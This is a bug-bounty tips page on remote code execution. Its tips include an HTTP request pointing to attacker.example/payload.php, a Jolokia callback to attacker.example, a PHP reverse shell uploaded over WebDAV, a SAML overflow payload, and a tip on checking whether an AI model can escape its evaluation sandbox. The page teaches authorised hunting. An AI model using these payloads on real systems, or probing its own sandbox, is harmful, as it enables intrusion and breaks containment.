Tips

Remote code execution (RCE) tips

Remote code execution lets an attacker run commands or code on the target’s servers, the most severe outcome in most programs. It usually arrives through another class: injection, deserialization, uploads or a vulnerable component.

Published tips, newest first. Payloads and commands are shown as plain text.

  • Test WP Rocket for RCE

    GET /wp-admin/admin-ajax.php HTTP/1.1Host: target.comLocation: http://attacker.example/payload.php

    Remote code execution (RCE)Exploitation

  • Try Pausing HTTP/2 Uploads

    When sending data to target.com over HTTP/2 using a tool like curl, attempt to pause the upload by limiting the amount of data that can be sent, then resume the upload after receiving part of the response. This can cause issues if the client incorrectly handles the paused upload,

    Remote code execution (RCE)Exploitation

  • WordPress Core Update -> Installer Race -> Pre-Auth RCE

    How -> 1. Mid-update, the extracted installer's setup script was reachable 2. Attacker writes a wp-config.php pointing to their DB 3. Updater copies it live, attacker installs as admin, uploads a plugin #bugbountytips pic.t…

    Remote code execution (RCE)Exploitation

  • Test SAML SignedInfo for buffer overflow

    <ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="N0 N1 N2 ... N1999"/>

    Remote code execution (RCE)Discovery

  • Test WebDAV for default credentials

    Try default WebDAV credentials like wampp/xampp on a WebDAV endpoint to see if they are still set. If they are, use a tool like cadaver to upload a file, such as a PHP reverse shell, to the server. Then, trigger the shell by browsing to it. If the server executes PHP, this can g…

    Remote code execution (RCE)Discovery

  • Test Azure VM extensions for code execution

    To test Azure VM extensions for code execution, try deploying a legitimate third-party extension, such as Chef, and configure it to execute arbitrary code. This can be done by creating a rogue Chef server and uploading a malicious cookbook. The Microsoft.Compute/virtualMachines/…

    Remote code execution (RCE)Exploitation

  • Test nginx rewrites for heap overflows

    Look for rewrite directives in nginx configurations that contain a ? and no flag (like last, break, redirect, or permanent). If the rewrite is followed by a set or if directive that references a capture group (like $1), the configuration may be vulnerable to a heap overflow. The…

    Remote code execution (RCE)Discovery

  • Test WordPress REST batch endpoint for RCE

    To test for the WordPress core pre-authentication remote code execution vulnerability, send a POST request to the /wp-json/batch/v1 endpoint or use the query-string router with ?rest_route=/batch/v1. Look for a response that indicates the request was processed, such as a 200 OK…

    Remote code execution (RCE)Discovery

  • Test Jolokia API for RCE

    Try invoking a management operation through the Jolokia API to fetch a remote configuration file from attacker.example. If the target runs arbitrary OS commands, it may be vulnerable to remote code execution. Look for signs of command execution, such as a callback to http://atta…

    Remote code execution (RCE)Exploitation

  • Test AI model access controls

    When testing AI models, try to access the open internet from the evaluation environment to see if the model can escape its sandbox. Send a request to a public service, such as a GET request to https://target.com, to test if the model can reach the internet. Check the response for

    Remote code execution (RCE)Discovery

  • Test for pre-auth RCE via deserialization

    When testing a target like target.com, look for a deserialization endpoint such as /invoke/ that accepts application/x-wmidatabin content. Try sending a payload with a DT_IDATCODABLE type tag (0x12) and a class name that implements IDataCodable, such as com.wm.ps.serviceMock.Moc…

    Remote code execution (RCE)Discovery

    1 upvote

  • Test default features for pre-auth input parsing

    Look for default-on features that parse attacker-supplied input before authentication, such as compression and decoders on the network path, or web servers and reverse proxies that parse attacker HTTP. Test these features by sending crafted input, such as zlib-compressed wire-pr…

    Remote code execution (RCE)Discovery

  • Audit extensions for code execution

    Check extensions for vulnerabilities that allow code execution, such as rendering bugs that can turn a file into executable code. This can be done by auditing the extension's code and testing its rendering functionality with specially crafted files. For example, test a Markdown…

    Remote code execution (RCE)Discovery

  • Test exposed services for vulnerabilities

    When testing a target, look for exposed network ports and services. Use tools like nmap to scan for open ports and identify the services running on them. In this case, the target exposed port 2086, which was meant for inter-process communication on localhost but was instead list…

    Remote code execution (RCE)Discovery

  • Test for unauthenticated RCE in Java servlets

    When investigating a target, look for Java servlets that are exposed to the Internet without authentication. Test if these servlets pass user-controlled input to Runtime.exec(String[]), which can lead to remote code execution (RCE). Use an inert probe, such as a sleep command, to

    Remote code execution (RCE)Discovery

Remote code execution (RCE): how to hunt it

Where to look

  • Known-vulnerable versions of frameworks, plugins and appliances found during recon.
  • Uploads that land in an executable path, and archives that extract outside their folder.
  • Template engines, expression languages and serialization formats fed by input.
  • Admin features that run scripts, build jobs or plugins.

What proves it

Run a harmless command such as id or hostname, or trigger a DNS callback, and stop there: no persistence, no moving to other systems, no reading data.

Read further

Writeups on Remote code execution (RCE), by hunters and researchers, most with a short summary.

Related classes